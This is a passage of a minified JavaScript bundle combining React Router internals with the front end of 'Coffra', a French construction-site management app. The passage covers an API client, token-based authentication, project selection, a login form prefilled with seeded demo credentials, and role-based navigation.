lv(r.flat(1).filter(Ix).filter(d=&gt;d.rel===&quot;stylesheet&quot;||d.rel===&quot;preload&quot;).map(d=&gt;d.rel===&quot;stylesheet&quot;?{...d,rel:&quot;prefetch&quot;,as:&quot;style&quot;}:{...d,rel:&quot;prefetch&quot;}))}function wm(u,c,f,r,d,p){let y=(g,x)=&gt;f[x]?g.route.id!==f[x].route.id:!0,v=(g,x)=&gt;{var S;return f[x].pathname!==g.pathname||((S=f[x].route.path)==null?void 0:S.endsWith(&quot;*&quot;))&amp;&amp;f[x].params[&quot;*&quot;]!==g.params[&quot;*&quot;]};return p===&quot;assets&quot;?c.filter((g,x)=&gt;y(g,x)||v(g,x)):p===&quot;data&quot;?c.filter((g,x)=&gt;{var b;let S=r.routes[g.route.id];if(!S||!S.hasLoader)return!1;if(y(g,x)||v(g,x))return!0;if(g.route.shouldRevalidate){let A=g.route.shouldRevalidate({currentUrl:new URL(d.pathname+d.search+d.hash,window.origin),currentParams:((b=f[0])==null?void 0:b.params)||{},nextUrl:new URL(u,window.origin),nextParams:g.params,defaultShouldRevalidate:!0});if(typeof A==&quot;boolean&quot;)return A}return!0}):[]}function ev(u,c,{includeHydrateFallback:f}={}){return tv(u.map(r=&gt;{let d=c.routes[r.route.id];if(!d)return[];let p=[d.module];return d.clientActionModule&amp;&amp;(p=p.concat(d.clientActionModule)),d.clientLoaderModule&amp;&amp;(p=p.concat(d.clientLoaderModule)),f&amp;&amp;d.hydrateFallbackModule&amp;&amp;(p=p.concat(d.hydrateFallbackModule)),d.imports&amp;&amp;(p=p.concat(d.imports)),p}).flat(1))}function tv(u){return[...new Set(u)]}function av(u){let c={},f=Object.keys(u).sort();for(let r of f)c[r]=u[r];return c}function lv(u,c){let f=new Set;return new Set(c),u.reduce((r,d)=&gt;{let p=JSON.stringify(av(d));return f.has(p)||(f.add(p),r.push({key:p,link:d})),r},[])}function or(){let u=m.useContext(an);return rr(u,&quot;You must render this element inside a &lt;DataRouterContext.Provider&gt; element&quot;),u}function nv(){let u=m.useContext(Ti);return rr(u,&quot;You must render this element inside a &lt;DataRouterStateContext.Provider&gt; element&quot;),u}var fr=m.createContext(void 0);fr.displayName=&quot;FrameworkContext&quot;;function dr(){let u=m.useContext(fr);return rr(u,&quot;You must render this element inside a &lt;HydratedRouter&gt; element&quot;),u}function sv(u,c){let f=m.useContext(fr),[r,d]=m.useState(!1),[p,y]=m.useState(!1),{onFocus:v,onBlur:g,onMouseEnter:x,onMouseLeave:S,onTouchStart:b}=c,A=m.useRef(null);m.useEffect(()=&gt;{if(u===&quot;render&quot;&amp;&amp;y(!0),u===&quot;viewport&quot;){let U=G=&gt;{G.forEach($=&gt;{y($.isIntersecting)})},D=new IntersectionObserver(U,{threshold:.5});return A.current&amp;&amp;D.observe(A.current),()=&gt;{D.disconnect()}}},[u]),m.useEffect(()=&gt;{if(r){let U=setTimeout(()=&gt;{y(!0)},100);return()=&gt;{clearTimeout(U)}}},[r]);let V=()=&gt;{d(!0)},R=()=&gt;{d(!1),y(!1)};return f?u!==&quot;intent&quot;?[p,A,{}]:[p,A,{onFocus:Pn(v,V),onBlur:Pn(g,R),onMouseEnter:Pn(x,V),onMouseLeave:Pn(S,R),onTouchStart:Pn(b,V)}]:[!1,A,{}]}function Pn(u,c){return f=&gt;{u&amp;&amp;u(f),f.defaultPrevented||c(f)}}function iv({page:u,...c}){let f=xx(),{router:r}=or(),d=m.useMemo(()=&gt;Gm(r.routes,u,r.basename),[r.routes,u,r.basename]);return d?f?m.createElement(cv,{page:u,matches:d,...c}):m.createElement(rv,{page:u,matches:d,...c}):null}function uv(u){let{manifest:c,routeModules:f}=dr(),[r,d]=m.useState([]);return m.useEffect(()=&gt;{let p=!1;return Px(u,c,f).then(y=&gt;{p||d(y)}),()=&gt;{p=!0}},[u,c,f]),r}function cv({page:u,matches:c,...f}){let r=$t(),{future:d}=dr(),{basename:p}=or(),y=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let v=eh(u,p,d.unstable_trailingSlashAwareDataRequests,&quot;rsc&quot;),g=!1,x=[];for(let S of c)typeof S.route.shouldRevalidate==&quot;function&quot;?g=!0:x.push(S.route.id);return g&amp;&amp;x.length&gt;0&amp;&amp;v.searchParams.set(&quot;_routes&quot;,x.join(&quot;,&quot;)),[v.pathname+v.search]},[p,d.unstable_trailingSlashAwareDataRequests,u,r,c]);return m.createElement(m.Fragment,null,y.map(v=&gt;m.createElement(&quot;link&quot;,{key:v,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:v,...f})))}function rv({page:u,matches:c,...f}){let r=$t(),{future:d,manifest:p,routeModules:y}=dr(),{basename:v}=or(),{loaderData:g,matches:x}=nv(),S=m.useMemo(()=&gt;wm(u,c,x,p,r,&quot;data&quot;),[u,c,x,p,r]),b=m.useMemo(()=&gt;wm(u,c,x,p,r,&quot;assets&quot;),[u,c,x,p,r]),A=m.useMemo(()=&gt;{if(u===r.pathname+r.search+r.hash)return[];let U=new Set,D=!1;if(c.forEach($=&gt;{var I;let F=p.routes[$.route.id];!F||!F.hasLoader||(!S.some(ee=&gt;ee.route.id===$.route.id)&amp;&amp;$.route.id in g&amp;&amp;((I=y[$.route.id])!=null&amp;&amp;I.shouldRevalidate)||F.hasClientLoader?D=!0:U.add($.route.id))}),U.size===0)return[];let G=eh(u,v,d.unstable_trailingSlashAwareDataRequests,&quot;data&quot;);return D&amp;&amp;U.size&gt;0&amp;&amp;G.searchParams.set(&quot;_routes&quot;,c.filter($=&gt;U.has($.route.id)).map($=&gt;$.route.id).join(&quot;,&quot;)),[G.pathname+G.search]},[v,d.unstable_trailingSlashAwareDataRequests,g,r,p,S,c,u,y]),V=m.useMemo(()=&gt;ev(b,p),[b,p]),R=uv(b);return m.createElement(m.Fragment,null,A.map(U=&gt;m.createElement(&quot;link&quot;,{key:U,rel:&quot;prefetch&quot;,as:&quot;fetch&quot;,href:U,...f})),V.map(U=&gt;m.createElement(&quot;link&quot;,{key:U,rel:&quot;modulepreload&quot;,href:U,...f})),R.map(({key:U,link:D})=&gt;m.createElement(&quot;link&quot;,{key:U,nonce:f.nonce,...D,crossOrigin:D.crossOrigin??f.crossOrigin})))}function ov(...u){return c=&gt;{u.forEach(f=&gt;{typeof f==&quot;function&quot;?f(c):f!=null&amp;&amp;(f.current=c)})}}var fv=typeof window&lt;&quot;u&quot;&amp;&amp;typeof window.document&lt;&quot;u&quot;&amp;&amp;typeof window.document.createElement&lt;&quot;u&quot;;try{fv&amp;&amp;(window.__reactRouterVersion=&quot;7.14.0&quot;)}catch{}function dv({basename:u,children:c,unstable_useTransitions:f,window:r}){let d=m.useRef();d.current==null&amp;&amp;(d.current=Qp({window:r,v5Compat:!0}));let p=d.current,[y,v]=m.useState({action:p.action,location:p.location}),g=m.useCallback(x=&gt;{f===!1?v(x):m.startTransition(()=&gt;v(x))},[f]);return m.useLayoutEffect(()=&gt;p.listen(g),[p,g]),m.createElement(Yx,{basename:u,children:c,location:y.location,navigationType:y.action,navigator:p,unstable_useTransitions:f})}var th=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,je=m.forwardRef(function({onClick:c,discover:f=&quot;render&quot;,prefetch:r=&quot;none&quot;,relative:d,reloadDocument:p,replace:y,unstable_mask:v,state:g,target:x,to:S,preventScrollReset:b,viewTransition:A,unstable_defaultShouldRevalidate:V,...R},U){let{basename:D,navigator:G,unstable_useTransitions:$}=m.useContext(wt),F=typeof S==&quot;string&quot;&amp;&amp;th.test(S),I=Xm(S,D);S=I.to;let ee=Nx(S,{relative:d}),K=$t(),q=null;if(v){let ne=_i(v,[],K.unstable_mask?K.unstable_mask.pathname:&quot;/&quot;,!0);D!==&quot;/&quot;&amp;&amp;(ne.pathname=ne.pathname===&quot;/&quot;?D:ta([D,ne.pathname])),q=G.createHref(ne)}let[J,H,W]=sv(r,R),Z=pv(S,{replace:y,unstable_mask:v,state:g,target:x,preventScrollReset:b,relative:d,viewTransition:A,unstable_defaultShouldRevalidate:V,unstable_useTransitions:$});function B(ne){c&amp;&amp;c(ne),ne.defaultPrevented||Z(ne)}let ae=!(I.isExternal||p),P=m.createElement(&quot;a&quot;,{...R,...W,href:(ae?q:void 0)||I.absoluteURL||ee,onClick:ae?B:c,ref:ov(U,H),target:x,&quot;data-discover&quot;:!F&amp;&amp;f===&quot;render&quot;?&quot;true&quot;:void 0});return J&amp;&amp;!F?m.createElement(m.Fragment,null,P,m.createElement(iv,{page:ee})):P});je.displayName=&quot;Link&quot;;var ba=m.forwardRef(function({&quot;aria-current&quot;:c=&quot;page&quot;,caseSensitive:f=!1,className:r=&quot;&quot;,end:d=!1,style:p,to:y,viewTransition:v,children:g,...x},S){let b=as(y,{relative:x.relative}),A=$t(),V=m.useContext(Ti),{navigator:R,basename:U}=m.useContext(wt),D=V!=null&amp;&amp;bv(b)&amp;&amp;v===!0,G=R.encodeLocation?R.encodeLocation(b).pathname:b.pathname,$=A.pathname,F=V&amp;&amp;V.navigation&amp;&amp;V.navigation.location?V.navigation.location.pathname:null;f||($=$.toLowerCase(),F=F?F.toLowerCase():null,G=G.toLowerCase()),F&amp;&amp;U&amp;&amp;(F=ja(F,U)||F);const I=G!==&quot;/&quot;&amp;&amp;G.endsWith(&quot;/&quot;)?G.length-1:G.length;let ee=$===G||!d&amp;&amp;$.startsWith(G)&amp;&amp;$.charAt(I)===&quot;/&quot;,K=F!=null&amp;&amp;(F===G||!d&amp;&amp;F.startsWith(G)&amp;&amp;F.charAt(G.length)===&quot;/&quot;),q={isActive:ee,isPending:K,isTransitioning:D},J=ee?c:void 0,H;typeof r==&quot;function&quot;?H=r(q):H=[r,ee?&quot;active&quot;:null,K?&quot;pending&quot;:null,D?&quot;transitioning&quot;:null].filter(Boolean).join(&quot; &quot;);let W=typeof p==&quot;function&quot;?p(q):p;return m.createElement(je,{...x,&quot;aria-current&quot;:J,className:H,ref:S,style:W,to:y,viewTransition:v},typeof g==&quot;function&quot;?g(q):g)});ba.displayName=&quot;NavLink&quot;;var mv=m.forwardRef(({discover:u=&quot;render&quot;,fetcherKey:c,navigate:f,reloadDocument:r,replace:d,state:p,method:y=Si,action:v,onSubmit:g,relative:x,preventScrollReset:S,viewTransition:b,unstable_defaultShouldRevalidate:A,...V},R)=&gt;{let{unstable_useTransitions:U}=m.useContext(wt),D=yv(),G=gv(v,{relative:x}),$=y.toLowerCase()===&quot;get&quot;?&quot;get&quot;:&quot;post&quot;,F=typeof v==&quot;string&quot;&amp;&amp;th.test(v),I=ee=&gt;{if(g&amp;&amp;g(ee),ee.defaultPrevented)return;ee.preventDefault();let K=ee.nativeEvent.submitter,q=(K==null?void 0:K.getAttribute(&quot;formmethod&quot;))||y,J=()=&gt;D(K||ee.currentTarget,{fetcherKey:c,method:q,navigate:f,replace:d,state:p,relative:x,preventScrollReset:S,viewTransition:b,unstable_defaultShouldRevalidate:A});U&amp;&amp;f!==!1?m.startTransition(()=&gt;J()):J()};return m.createElement(&quot;form&quot;,{ref:R,method:$,action:G,onSubmit:r?g:I,...V,&quot;data-discover&quot;:!F&amp;&amp;u===&quot;render&quot;?&quot;true&quot;:void 0})});mv.displayName=&quot;Form&quot;;function hv(u){return`${u} must be used within a data router.  See https://reactrouter.com/en/main/routers/picking-a-router.`}function ah(u){let c=m.useContext(an);return Xe(c,hv(u)),c}function pv(u,{target:c,replace:f,unstable_mask:r,state:d,preventScrollReset:p,relative:y,viewTransition:v,unstable_defaultShouldRevalidate:g,unstable_useTransitions:x}={}){let S=Ft(),b=$t(),A=as(u,{relative:y});return m.useCallback(V=&gt;{if(Jx(V,c)){V.preventDefault();let R=f!==void 0?f:es(b)===es(A),U=()=&gt;S(u,{replace:R,unstable_mask:r,state:d,preventScrollReset:p,relative:y,viewTransition:v,unstable_defaultShouldRevalidate:g});x?m.startTransition(()=&gt;U()):U()}},[b,S,A,f,r,d,c,u,p,y,v,g,x])}var xv=0,vv=()=&gt;`__${String(++xv)}__`;function yv(){let{router:u}=ah(&quot;useSubmit&quot;),{basename:c}=m.useContext(wt),f=Hx(),r=u.fetch,d=u.navigate;return m.useCallback(async(p,y={})=&gt;{let{action:v,method:g,encType:x,formData:S,body:b}=Fx(p,c);if(y.navigate===!1){let A=y.fetcherKey||vv();await r(A,f,y.action||v,{unstable_defaultShouldRevalidate:y.unstable_defaultShouldRevalidate,preventScrollReset:y.preventScrollReset,formData:S,body:b,formMethod:y.method||g,formEncType:y.encType||x,flushSync:y.flushSync})}else await d(y.action||v,{unstable_defaultShouldRevalidate:y.unstable_defaultShouldRevalidate,preventScrollReset:y.preventScrollReset,formData:S,body:b,formMethod:y.method||g,formEncType:y.encType||x,replace:y.replace,state:y.state,fromRouteId:f,flushSync:y.flushSync,viewTransition:y.viewTransition})},[r,d,c,f])}function gv(u,{relative:c}={}){let{basename:f}=m.useContext(wt),r=m.useContext(Xt);Xe(r,&quot;useFormAction must be used inside a RouteContext&quot;);let[d]=r.matches.slice(-1),p={...as(u||&quot;.&quot;,{relative:c})},y=$t();if(u==null){p.search=y.search;let v=new URLSearchParams(p.search),g=v.getAll(&quot;index&quot;);if(g.some(S=&gt;S===&quot;&quot;)){v.delete(&quot;index&quot;),g.filter(b=&gt;b).forEach(b=&gt;v.append(&quot;index&quot;,b));let S=v.toString();p.search=S?`?${S}`:&quot;&quot;}}return(!u||u===&quot;.&quot;)&amp;&amp;d.route.index&amp;&amp;(p.search=p.search?p.search.replace(/^\?/,&quot;?index&amp;&quot;):&quot;?index&quot;),f!==&quot;/&quot;&amp;&amp;(p.pathname=p.pathname===&quot;/&quot;?f:ta([f,p.pathname])),es(p)}function bv(u,{relative:c}={}){let f=m.useContext(Jm);Xe(f!=null,&quot;`useViewTransitionState` must be used within `react-router-dom`&#039;s `RouterProvider`.  Did you accidentally import `RouterProvider` from `react-router`?&quot;);let{basename:r}=ah(&quot;useViewTransitionState&quot;),d=as(u,{relative:c});if(!f.isTransitioning)return!1;let p=ja(f.currentLocation.pathname,r)||f.currentLocation.pathname,y=ja(f.nextLocation.pathname,r)||f.nextLocation.pathname;return Ei(d.pathname,y)!=null||Ei(d.pathname,p)!=null}function jv(u){const c=u.trim().replace(/\/+$/,&quot;&quot;);return c?/^https?:\/\//i.test(c)?c:`https://${c}`:&quot;&quot;}const Sv=jv(&quot;https://apicoffra.jrbxsolutions.com&quot;);class ge extends Error{constructor(f,r,d){super(f);Vc(this,&quot;status&quot;);Vc(this,&quot;body&quot;);this.name=&quot;ApiError&quot;,this.status=r,this.body=d}}async function ie(u,c={}){const{token:f,headers:r,...d}=c,p=`${Sv}${u.startsWith(&quot;/&quot;)?u:`/${u}`}`,y=await fetch(p,{...d,headers:{Accept:&quot;application/json&quot;,&quot;Content-Type&quot;:&quot;application/json&quot;,...f?{Authorization:`Bearer ${f}`}:{},...r}}),v=await y.text();let g=null;if(v)try{g=JSON.parse(v)}catch{g={raw:v}}if(!y.ok){let x=y.statusText;if(typeof g==&quot;object&quot;&amp;&amp;g!==null){if(&quot;errors&quot;in g&amp;&amp;typeof g.errors==&quot;object&quot;){const S=g.errors;for(const b of Object.values(S)){if(Array.isArray(b)&amp;&amp;b[0]){x=b[0];break}if(typeof b==&quot;string&quot;&amp;&amp;b){x=b;break}}}if(&quot;message&quot;in g){const S=g.message,b=typeof S==&quot;string&quot;?S:JSON.stringify(S);x===y.statusText&amp;&amp;(x=b)}}throw new ge(x||&quot;Erreur réseau&quot;,y.status,g)}return g}function mr(u){if(typeof u!=&quot;object&quot;||u===null||!(&quot;errors&quot;in u))return null;const c=u.errors;if(typeof c!=&quot;object&quot;||c===null)return null;const f={};for(const[r,d]of Object.entries(c))Array.isArray(d)&amp;&amp;typeof d[0]==&quot;string&quot;?f[r]=d[0]:typeof d==&quot;string&quot;&amp;&amp;(f[r]=d);return Object.keys(f).length&gt;0?f:null}const ji=&quot;coffra_token&quot;,lh=m.createContext(null);function Nv({children:u}){const[c,f]=m.useState(()=&gt;localStorage.getItem(ji)),[r,d]=m.useState(null),[p,y]=m.useState(!!c),[v,g]=m.useState(null);m.useEffect(()=&gt;{if(!c){d(null),y(!1);return}let R=!1;return y(!0),(async()=&gt;{try{const U=await ie(&quot;/api/v1/auth/me&quot;,{method:&quot;GET&quot;,token:c});R||d(U.user)}catch{R||(localStorage.removeItem(ji),f(null),d(null),g(&quot;La session n’a pas pu être validée (réponse refusée ou API injoignable). En production, définissez VITE_API_BASE_URL sur l’URL absolue de l’API Laravel (ex. https://api.votredomaine.com), puis reconstruisez le front (npm run build).&quot;))}finally{R||y(!1)}})(),()=&gt;{R=!0}},[c]);const x=m.useCallback(()=&gt;{g(null)},[]),S=m.useCallback(async(R,U)=&gt;{g(null);const D=await ie(&quot;/api/v1/auth/login&quot;,{method:&quot;POST&quot;,body:JSON.stringify({email:R,password:U,device_name:&quot;coffra-web&quot;})});if(typeof D.token!=&quot;string&quot;||!D.token)throw new ge(&quot;Réponse de connexion invalide (jeton manquant). Souvent causé par VITE_API_BASE_URL vide en production : les requêtes partent vers le site du front au lieu de l’API Laravel.&quot;,0,D);localStorage.setItem(ji,D.token),f(D.token),d(D.user??null)},[]),b=m.useCallback(async()=&gt;{if(c)try{await ie(&quot;/api/v1/auth/logout&quot;,{method:&quot;POST&quot;,token:c})}catch{}localStorage.removeItem(ji),f(null),d(null),g(null)},[c]),A=m.useCallback(R=&gt;!!(r!=null&amp;&amp;r.abilities.includes(R)),[r]),V=m.useMemo(()=&gt;({token:c,user:r,bootstrapping:p,sessionBootstrapError:v,clearSessionBootstrapError:x,login:S,logout:b,can:A}),[c,r,p,v,x,S,b,A]);return s.jsx(lh.Provider,{value:V,children:u})}function De(){const u=m.useContext(lh);if(!u)throw new Error(&quot;useAuth doit être utilisé dans AuthProvider&quot;);return u}const Pl=&quot;coffra_active_project_id&quot;,nh=m.createContext(null);function Ev({children:u}){const{token:c,user:f,can:r}=De(),[d,p]=m.useState([]),[y,v]=m.useState(!1),[g,x]=m.useState(()=&gt;{const R=localStorage.getItem(Pl),U=R?Number(R):NaN;return Number.isFinite(U)?U:null}),S=m.useCallback(R=&gt;{x(R),R!==null?localStorage.setItem(Pl,String(R)):localStorage.removeItem(Pl)},[]),b=m.useCallback(async()=&gt;{if(!c||!f||!r(&quot;projects.view&quot;)){p([]);return}v(!0);try{const R=await ie(&quot;/api/v1/projects?per_page=100&amp;sort=name&quot;,{method:&quot;GET&quot;,token:c});p(R.data),x(U=&gt;{var I;const D=new Set(R.data.map(ee=&gt;ee.id));if(U!==null&amp;&amp;D.has(U))return U;const G=localStorage.getItem(Pl),$=G?Number(G):NaN;if(Number.isFinite($)&amp;&amp;D.has($))return $;const F=((I=R.data[0])==null?void 0:I.id)??null;return F!==null?localStorage.setItem(Pl,String(F)):localStorage.removeItem(Pl),F})}catch{p([])}finally{v(!1)}},[c,f,r]);m.useEffect(()=&gt;{b()},[b]);const A=m.useMemo(()=&gt;d.find(R=&gt;R.id===g)??null,[d,g]),V=m.useMemo(()=&gt;({projects:d,activeProjectId:g,activeProject:A,loading:y,setActiveProjectId:S,refreshProjects:b}),[d,g,A,y,S,b]);return s.jsx(nh.Provider,{value:V,children:u})}function ft(){const u=m.useContext(nh);if(!u)throw new Error(&quot;useProjectScope doit être utilisé dans ProjectProvider&quot;);return u}function _v(){const{token:u,login:c,sessionBootstrapError:f,clearSessionBootstrapError:r}=De(),[d,p]=m.useState(&quot;entrepreneur@coffra.local&quot;),[y,v]=m.useState(&quot;password&quot;),[g,x]=m.useState(null),[S,b]=m.useState(!1),A=g??f;if(u)return s.jsx(cr,{to:&quot;/&quot;,replace:!0});async function V(R){R.preventDefault(),x(null),r(),b(!0);try{await c(d,y)}catch(U){U instanceof ge?x(U.message):x(&quot;Connexion impossible&quot;)}finally{b(!1)}}return s.jsx(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col justify-center px-4 pb-24 pt-8&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto w-full max-w-sm&quot;,children:[s.jsx(&quot;p&quot;,{className:&quot;text-center text-xs font-medium uppercase tracking-[0.2em] text-amber-500&quot;,children:&quot;Coffra&quot;}),s.jsx(&quot;h1&quot;,{className:&quot;mt-2 text-center text-2xl font-semibold text-stone-50&quot;,children:&quot;Connexion&quot;}),s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-center text-sm text-stone-500&quot;,children:[&quot;Comptes créés par seed uniquement — exécuter &quot;,s.jsx(&quot;code&quot;,{className:&quot;text-stone-400&quot;,children:&quot;php artisan db:seed&quot;})]}),s.jsxs(&quot;form&quot;,{onSubmit:V,className:&quot;mt-8 space-y-4&quot;,children:[A?s.jsx(&quot;p&quot;,{className:&quot;rounded-xl border border-red-900/60 bg-red-950/40 px-3 py-2 text-sm text-red-200&quot;,role:&quot;alert&quot;,children:A}):null,s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;email&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;E-mail&quot;}),s.jsx(&quot;input&quot;,{id:&quot;email&quot;,name:&quot;email&quot;,type:&quot;email&quot;,autoComplete:&quot;username&quot;,value:d,onChange:R=&gt;p(R.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;password&quot;,className:&quot;block text-xs font-medium text-stone-400&quot;,children:&quot;Mot de passe&quot;}),s.jsx(&quot;input&quot;,{id:&quot;password&quot;,name:&quot;password&quot;,type:&quot;password&quot;,autoComplete:&quot;current-password&quot;,value:y,onChange:R=&gt;v(R.target.value),className:&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-3 text-stone-100 outline-none ring-amber-500/0 transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,required:!0})]}),s.jsx(&quot;button&quot;,{type:&quot;submit&quot;,disabled:S,className:&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,children:S?&quot;Connexion…&quot;:&quot;Se connecter&quot;})]})]})})}const en=({isActive:u})=&gt;[&quot;flex min-w-0 flex-1 flex-col items-center gap-0.5 py-2 text-[10px] font-medium sm:text-xs&quot;,u?&quot;text-amber-400&quot;:&quot;text-stone-500 hover:text-stone-300&quot;].join(&quot; &quot;);function Tv(){const{can:u}=De(),{projects:c,activeProjectId:f,setActiveProjectId:r,loading:d}=ft();return s.jsxs(&quot;div&quot;,{className:&quot;flex min-h-dvh flex-col pb-[calc(4.5rem+env(safe-area-inset-bottom))]&quot;,children:[s.jsx(&quot;header&quot;,{className:&quot;sticky top-0 z-10 border-b border-stone-800 bg-stone-950/90 px-4 py-3 backdrop-blur-md&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg flex-col gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between gap-2&quot;,children:[s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;text-[10px] font-semibold uppercase tracking-widest text-amber-500&quot;,children:&quot;Coffra&quot;}),s.jsx(&quot;h1&quot;,{className:&quot;text-lg font-semibold leading-tight text-stone-50&quot;,children:&quot;Opérations&quot;})]}),s.jsxs(&quot;div&quot;,{className:&quot;flex shrink-0 items-center gap-2&quot;,children:[u(&quot;organizations.view&quot;)?s.jsx(ba,{to:&quot;/organization&quot;,className:&quot;rounded-full border border-stone-700 px-2.5 py-1.5 text-[11px] font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Org.&quot;}):null,s.jsx(ba,{to:&quot;/profil&quot;,className:&quot;rounded-full border border-stone-700 px-3 py-1.5 text-xs font-medium text-stone-300 hover:border-stone-600&quot;,children:&quot;Profil&quot;})]})]}),u(&quot;projects.view&quot;)&amp;&amp;c.length&gt;0?s.jsxs(&quot;div&quot;,{children:[s.jsx(&quot;label&quot;,{htmlFor:&quot;active-project&quot;,className:&quot;sr-only&quot;,children:&quot;Chantier actif&quot;}),s.jsx(&quot;select&quot;,{id:&quot;active-project&quot;,disabled:d,value:f??&quot;&quot;,onChange:p=&gt;{const y=p.target.value;r(y?Number(y):null)},className:&quot;w-full rounded-lg border border-stone-700 bg-stone-900 px-2 py-1.5 text-xs text-stone-200 outline-none focus:border-amber-600&quot;,children:c.map(p=&gt;s.jsxs(&quot;option&quot;,{value:p.id,children:[p.name,p.code?` (${p.code})`:&quot;&quot;]},p.id))})]}):u(&quot;projects.view&quot;)&amp;&amp;!d&amp;&amp;c.length===0?s.jsx(&quot;p&quot;,{className:&quot;text-[11px] text-stone-600&quot;,children:&quot;Aucun chantier visible — sélectionnez-en un après création.&quot;}):null]})}),s.jsx(&quot;main&quot;,{className:&quot;mx-auto w-full max-w-lg flex-1 px-4 py-4&quot;,children:s.jsx(Gx,{})}),s.jsx(&quot;nav&quot;,{className:&quot;fixed bottom-0 left-0 right-0 z-20 border-t border-stone-800 bg-stone-950/95 pb-[env(safe-area-inset-bottom)] backdrop-blur-md&quot;,&quot;aria-label&quot;:&quot;Navigation principale&quot;,children:s.jsxs(&quot;div&quot;,{className:&quot;mx-auto flex max-w-lg justify-around&quot;,children:[s.jsxs(ba,{to:&quot;/&quot;,end:!0,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⌂&quot;}),&quot;Accueil&quot;]}),u(&quot;projects.view&quot;)?s.jsxs(ba,{to:&quot;/projects&quot;,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧉&quot;}),&quot;Chantiers&quot;]}):null,u(&quot;workers.view&quot;)?s.jsxs(ba,{to:&quot;/workers&quot;,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;◎&quot;}),&quot;Ouvriers&quot;]}):null,u(&quot;attendances.view&quot;)?s.jsxs(ba,{to:&quot;/attendances&quot;,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;✓&quot;}),&quot;Présences&quot;]}):null,u(&quot;production_entries.view&quot;)?s.jsxs(ba,{to:&quot;/production-entries&quot;,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;⧗&quot;}),&quot;Prod.&quot;]}):null,u(&quot;users.view&quot;)?s.jsxs(ba,{to:&quot;/users&quot;,className:en,children:[s.jsx(&quot;span&quot;,{className:&quot;text-lg leading-none&quot;,&quot;aria-hidden&quot;:!0,children:&quot;👤&quot;}),&quot;Équipe&quot;]}):null]})})]})}const sh=[{value:&quot;entrepreneur_admin&quot;,label:&quot;Entrepreneur (admin)&quot;},{value:&quot;chef_chantier&quot;,label:&quot;Chef de chantier&quot;},{value:&quot;contremaitre_technicien&quot;,label:&quot;Contremaître / technicien&quot;},{value:&quot;financier_tresorier&quot;,label:&quot;Financier / trésorier&quot;}];function Ci(u){var c;return((c=sh.find(f=&gt;f.value===u))==null?void 0:c.label)??u}const oe=&quot;mt-1 w-full rounded-xl border border-stone-700 bg-stone-900 px-3 py-2.5 text-sm text-stone-100 outline-none transition focus:border-amber-600 focus:ring-2 focus:ring-amber-500/30&quot;,fe=&quot;block text-xs font-medium text-stone-400&quot;,Ot=&quot;w-full rounded-xl bg-amber-500 py-3 text-sm font-semibold text-stone-950 transition hover:bg-amber-400 disabled:opacity-60&quot;,ml=&quot;rounded-xl border border-stone-700 px-4 py-2 text-sm font-medium text-stone-200 transition hover:bg-stone-900&quot;,bt=&quot;block rounded-2xl border border-stone-800 bg-stone-900/50 px-4 py-3 transition hover:border-stone-700&quot;,Av=[{to:&quot;/organization&quot;,title:&quot;Organisation&quot;,hint:&quot;Informations de votre structure&quot;,ability:&quot;organizations.view&quot;},{to:&quot;/projects&quot;,title:&quot;Chantiers&quot;,hint:&quot;Projets et périmètre terrain&quot;,ability:&quot;projects.view&quot;},{to:&quot;/users&quot;,title:&quot;Utilisateurs&quot;,hint:&quot;Comptes staff (entrepreneur admin)&quot;,ability:&quot;users.view&quot;},{to:&quot;/workers&quot;,title:&quot;Ouvriers&quot;,hint:&quot;Personnes sans compte applicatif&quot;,ability:&quot;workers.view&quot;},{to:&quot;/attendances&quot;,title:&quot;Présences&quot;,hint:&quot;Pointages par chantier actif&quot;,ability:&quot;attendances.view&quot;},{to:&quot;/production-entries&quot;,title:&quot;Production&quot;,hint:&quot;Saisie au rendu (validation chantier)&quot;,ability:&quot;production_entries.view&quot;}];function Cv(){const{user:u,can:c}=De(),{activeProject:f,activeProjectId:r}=ft(),d=Av.filter(p=&gt;c(p.ability));return s.jsxs(&quot;div&quot;,{className:&quot;space-y-6&quot;,children:[s.jsxs(&quot;section&quot;,{children:[s.jsx(&quot;p&quot;,{className:&quot;text-sm text-stone-400&quot;,children:&quot;Bonjour,&quot;}),s.jsx(&quot;p&quot;,{className:&quot;text-xl font-semibold text-stone-50&quot;,children:u==null?void 0:u.full_name}),s.jsxs(&quot;p&quot;,{className:&quot;mt-1 text-xs text-stone-500&quot;,children:[&quot;Rôle : &quot;,s.jsx(&quot;span&quot;,{className:&quot;text-stone-400&quot;,children:u?Ci(u.role):&quot;—&quot;}),u!=null&amp;&amp;u.organization?s.jsxs(s.Fragment,{children:[&quot; &quot;,&quot;· 